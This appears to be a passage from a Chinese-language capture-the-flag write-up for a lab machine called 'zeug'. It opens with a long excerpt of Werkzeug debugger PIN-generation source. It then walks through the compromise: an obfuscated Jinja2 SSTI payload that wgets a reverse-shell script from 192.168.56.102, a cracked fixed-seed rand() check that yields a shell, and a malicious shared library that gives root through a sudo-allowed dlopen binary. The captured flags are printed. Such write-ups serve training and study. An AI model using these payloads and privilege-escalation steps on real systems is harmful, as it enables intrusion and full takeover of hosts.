for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg
try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: str | bytes
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")
if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")
return guid
except OSError:
pass
return None
_machine_id = _generate()
return _machine_id
class _ConsoleFrame:
"""Helper class so that we can reuse the frame console code for the
standalone console.
"""
def __init__(self, namespace: dict[str, t.Any]):
self.console = Console(namespace)
self.id = 0
def eval(self, code: str) -> t.Any:
return self.console.eval(code)
def get_pin_and_cookie_name(
app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: str | None
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
class DebuggedApplication:
"""Enables debugging support for a given application::
from werkzeug.debug import DebuggedApplication
from myapp import app
app = DebuggedApplication(app, evalex=True)
The ``evalex`` argument allows evaluating expressions in any frame
of a traceback. This works by preserving each frame with its local
state. Some state, such as context globals, cannot be restored with
the frame by default. When ``evalex`` is enabled,
``environ["werkzeug.debug.preserve_context"]`` will be a callable
that takes a context manager, and can be called multiple times.
Each context manager will be entered before evaluating code in the
frame, then exited again, so they can perform setup and cleanup for
each call.
:param app: the WSGI application to run debugged.
:param evalex: enable exception evaluation feature (interactive
debugging). This requires a non-forking server.
:param request_key: The key that points to the request object in this
environment. This parameter is ignored in current
versions.
:param console_path: the URL for a general purpose console.
:param console_init_func: the function that is executed before starting
the general purpose console. The return value
is used as initial namespace.
:param show_hidden_frames: by default hidden traceback frames are skipped.
You can show them by setting this parameter
to `True`.
:param pin_security: can be used to disable the pin based security system.
:param pin_logging: enables the logging of the pin system.
.. versionchanged:: 2.2
Added the ``werkzeug.debug.preserve_context`` environ key.
"""
_pin: str
_pin_cookie: str
def __init__(
self,
app: WSGIApplication,
evalex: bool = False,
request_key: str = "werkzeug.request",
console_path: str = "/console",
console_init_func: t.Callable[[], dict[str, t.Any]] | None = None,
show_hidden_frames: bool = False,
pin_security: bool = True,
pin_logging: bool = True,
) -> None:
if not console_init_func:
console_init_func = None
self.app = app
self.evalex = evalex
self.frames: dict[int, DebugFrameSummary | _ConsoleFrame] = {}
self.frame_contexts: dict[int, list[t.ContextManager[None]]] = {}
self.request_key = request_key
self.console_path = console_path
self.console_init_func = console_init_func
self.show_hidden_frames = show_hidden_frames
self.secret = gen_salt(20)
self._failed_pin_auth = 0
self.pin_logging = pin_logging
if pin_security:
# Print out the pin for the debugger on standard out.
if os.environ.get("WERKZEUG_RUN_MAIN") == "true" and pin_logging:
_log("warning", "* Debugger is active!")
if self.pin is None:
_log("warning", "* Debugger PIN disabled. DEBUGGER UNSECURED!")
else:
_log("info", "* Debugger PIN: %s", self.pin)
else:
self.pin = None
@property
def pin(self) -> str | None:
if not hasattr(self, "_pin"):
pin_cookie = get_pin_and_cookie_name(self.app)
self._pin, self._pin_cookie = pin_cookie # type: ignore
return self._pin
@pin.setter
def pin(self, value: str) -> None:
self._pin = value
@property
def pin_cookie_name(self) -> str:
"""The name of the pin cookie."""
if not hasattr(self, "_pin_cookie"):
pin_cookie = get_pin_and_cookie_name(self.app)
self._pin, self._pin_cookie = pin_cookie # type: ignore
return self._pin_cookie
def debug_application(
self, environ: WSGIEnvironment, start_response: StartResponse
) -> t.Iterator[bytes]:
"""Run the application and conserve the traceback frames."""
contexts: list[t.ContextManager[t.Any]] = []
if self.evalex:
environ["werkzeug.debug.preserve_context"] = contexts.append
app_iter = None
try:
app_iter = self.app(environ, start_response)
yield from app_iter
if hasattr(app_iter, "close"):
app_iter.close()
except Exception as e:
if hasattr(app_iter, "close"):
app_iter.close() # type: ignore
tb = DebugTraceback(e, skip=1, hide=not self.show_hidden_frames)
for frame in tb.all_frames:
self.frames[id(frame)] = frame
self.frame_contexts[id(frame)] = contexts
is_trusted = bool(self.check_pin_trust(environ))
html = tb.render_debugger_html(
evalex=self.evalex,
secret=self.secret,
evalex_trusted=is_trusted,
)
response = Response(html, status=500, mimetype="text/html")
try:
yield from response(environ, start_response)
except Exception:
# if we end up here there has been output but an error
# occurred. in that situation we can do nothing fancy any
# more, better log something into the error log and fall
# back gracefully.
environ["wsgi.errors"].write(
"Debugging middleware caught exception in streamed"
"response at a point where response headers were already"
"sent.\n"
)
environ["wsgi.errors"].write("".join(tb.render_traceback_text()))
def execute_command(# type: ignore[return]
self,
request: Request,
command: str,
frame: DebugFrameSummary | _ConsoleFrame,
) -> Response:
"""Execute a command in a console."""
contexts = self.frame_contexts.get(id(frame), [])
with ExitStack() as exit_stack:
for cm in contexts:
exit_stack.enter_context(cm)
return Response(frame.eval(command), mimetype="text/html")
def display_console(self, request: Request) -> Response:
"""Display a standalone shell."""
if 0 not in self.frames:
if self.console_init_func is None:
ns = {}
else:
ns = dict(self.console_init_func())
ns.setdefault("app", self.app)
self.frames[0] = _ConsoleFrame(ns)
is_trusted = bool(self.check_pin_trust(request.environ))
return Response(
render_console_html(secret=self.secret, evalex_trusted=is_trusted),
mimetype="text/html",
)
def get_resource(self, request: Request, filename: str) -> Response:
"""Return a static resource from the shared folder."""
path = join("shared", basename(filename))
try:
data = pkgutil.get_data(__package__, path)
except OSError:
return NotFound() # type: ignore[return-value]
else:
if data is None:
return NotFound() # type: ignore[return-value]
etag = str(adler32(data) & 0xFFFFFFFF)
return send_file(
BytesIO(data), request.environ, download_name=filename, etag=etag
)
def check_pin_trust(self, environ: WSGIEnvironment) -> bool | None:
"""Checks if the request passed the pin test. This returns `True` if the
request is trusted on a pin/cookie basis and returns `False` if not.
Additionally if the cookie's stored pin hash is wrong it will return
`None` so that appropriate action can be taken.
"""
if self.pin is None:
return True
val = parse_cookie(environ).get(self.pin_cookie_name)
if not val or "|" not in val:
return False
ts_str, pin_hash = val.split("|", 1)
try:
ts = int(ts_str)
except ValueError:
return False
if pin_hash != hash_pin(self.pin):
return None
return (time.time() - PIN_TIME) < ts
def _fail_pin_auth(self) -> None:
time.sleep(5.0 if self._failed_pin_auth> 5 else 0.5)
self._failed_pin_auth += 1
def pin_auth(self, request: Request) -> Response:
"""Authenticates with the pin."""
exhausted = False
auth = False
trust = self.check_pin_trust(request.environ)
pin = t.cast(str, self.pin)
# If the trust return value is `None` it means that the cookie is
# set but the stored pin hash value is bad. This means that the
# pin was changed. In this case we count a bad auth and unset the
# cookie. This way it becomes harder to guess the cookie name
# instead of the pin as we still count up failures.
bad_cookie = False
if trust is None:
self._fail_pin_auth()
bad_cookie = True
# If we're trusted, we're authenticated.
elif trust:
auth = True
# If we failed too many times, then we're locked out.
elif self._failed_pin_auth > 10:
exhausted = True
# Otherwise go through pin based authentication
else:
entered_pin = request.args["pin"]
if entered_pin.strip().replace("-", "") == pin.replace("-",""):
self._failed_pin_auth = 0
auth = True
else:
self._fail_pin_auth()
rv = Response(
json.dumps({"auth": auth, "exhausted": exhausted}),
mimetype="application/json",
)
if auth:
rv.set_cookie(
self.pin_cookie_name,
f"{int(time.time())}|{hash_pin(pin)}",
httponly=True,
samesite="Strict",
secure=request.is_secure,
)
elif bad_cookie:
rv.delete_cookie(self.pin_cookie_name)
return rv
def log_pin_request(self) -> Response:
"""Log the pin if needed."""
if self.pin_logging and self.pin is not None:
_log(
"info", "* To enable the debugger you need to enter the security pin:"
)
_log("info", "* Debugger pin code: %s", self.pin)
return Response("")
def __call__(
self, environ: WSGIEnvironment, start_response: StartResponse
) -> t.Iterable[bytes]:
"""Dispatch the requests."""
# important: don't ever access a function here that reads the incoming
# form data! Otherwise the application won't have access to that data
# any more!
request = Request(environ)
response = self.debug_application
if request.args.get("__debugger__") == "yes":
cmd = request.args.get("cmd")
arg = request.args.get("f")
secret = request.args.get("s")
frame = self.frames.get(request.args.get("frm", type=int)) # type: ignore
if cmd == "resource" and arg:
response = self.get_resource(request, arg) # type: ignore
elif cmd == "pinauth" and secret == self.secret:
response = self.pin_auth(request) # type: ignore
elif cmd == "printpin" and secret == self.secret:
response = self.log_pin_request() # type: ignore
elif (
self.evalex
and cmd is not None
and frame is not None
and self.secret == secret
and self.check_pin_trust(environ)
):
response = self.execute_command(request, cmd, frame) # type: ignore
elif (
self.evalex
and self.console_path is not None
and request.path == self.console_path
):
response = self.display_console(request) # type: ignore
return response(environ, start_response)
直接利用 popen 构建命令执行反弹 shell
{{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"wget 192.168.56.102/reverse.sh -o /home/co"+"sette/reverse.sh\").read()")}}
未知的 PIN 计算问题
根据所得到的环境信息，我尝试对 Flask Debug Console 的 PIN code 进行计算，确认过计算的脚本就是来自 Flask 源码，但是计算出来的 PIN Code 不被 Flask Debug Console 所接受，这里可能存在一定的处理问题，建议直接使用 SSTI 构造命令执行，上传反弹 shell 的脚本，然后直接反弹 shell
User - cosette
ls -lah
lrwxrwxrwx 1 cosette cosette 9 Jan 6 23:22 .bash_history -> /dev/null
-rwx------ 1 cosette cosette 220 Apr 23 2023 .bash_logout
-rwx------ 1 cosette cosette 3.5K Apr 23 2023 .bashrc
drwx------ 3 cosette cosette 4.0K Jan 6 16:19 .local
-rwx------ 1 cosette cosette 807 Apr 23 2023 .profile
-rwx------ 1 cosette cosette 16K Jan 7 13:13 seed_bak
drwx------ 6 cosette cosette 4.0K Feb 6 02:52 zeug
将 seed_bak 进行反编译，得到
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h] BYREF
int v5; // [rsp+10h] [rbp-10h]
int v6; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
banner(argc, argv, envp);
srand(1u);
v5 = rand();
v6 = -559038737;
v4 = 0;
printf("Enter a number:");
__isoc99_scanf("%d", &v4);
if (v6 == (v5 ^ v4) )
system("/bin/bash");
else
puts("Wrong.");
return 0;
}
伪随机攻击
简单编写一个伪随机的计算脚本
#include <stdio.h>
#include <stdlib.h>
int main()
{
int v5; // [rsp+10h] [rbp-10h]
srand(1u);
v5 = rand();
int v6 = -559038737;
printf("%d\n", v5 ^ v6);
return 0;
}
// -1255736440
Exploit it
(remote) cosette@zeug:/home/cosette$ sudo -l
Matching Defaults entries for cosette on zeug:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User cosette may run the following commands on zeug:
(exia) NOPASSWD: /home/exia/seed
(remote) cosette@zeug:/home/cosette$ sudo -u exia /home/exia/seed
********************************************
* Hi, Cosette, it's time to plant the seed *
********************************************
Enter a number: -1255736440
exia@zeug:/home/cosette$ whoami
exia
User - exia
flag - user
exia@zeug:~$ cat user.txt
HMYVM{exia_1XZ2GUy6gwSRwXwFUKEkZC6cT}
动态库执行代码注入
sudo -l
Matching Defaults entries for exia on zeug:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User exia may run the following commands on zeug:
(root) NOPASSWD: /usr/bin/zeug
反编译 zeug 程序，得到
int __fastcall main(int argc, const char **argv, const char **envp)
{
if (dlopen("/home/exia/exia.so", 2) )
return 0;
fwrite("Error opening file\n", 1uLL, 0x13uLL, _bss_start);
return 1;
}
可以猜测是要借助 dlopen 加载依赖库实现代码注入
exia.c
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void init()
{
puts("Hello dynamic linkage world!");
system("/bin/bash");
}
Exploit it
(remote) exia@zeug:/home/exia$ gcc -shared -fPIC -o exia.so exia.c
(remote) exia@zeug:/home/exia$ sudo -u root /usr/bin/zeug
Hello dynamic linkage world!
root@zeug:/home/exia# whoami
root
User - root
flag - root
root@zeug:~# cat root.txt
HMYVM{root_Ut9RX5o7iZVKXjrOgcGW3fxBq}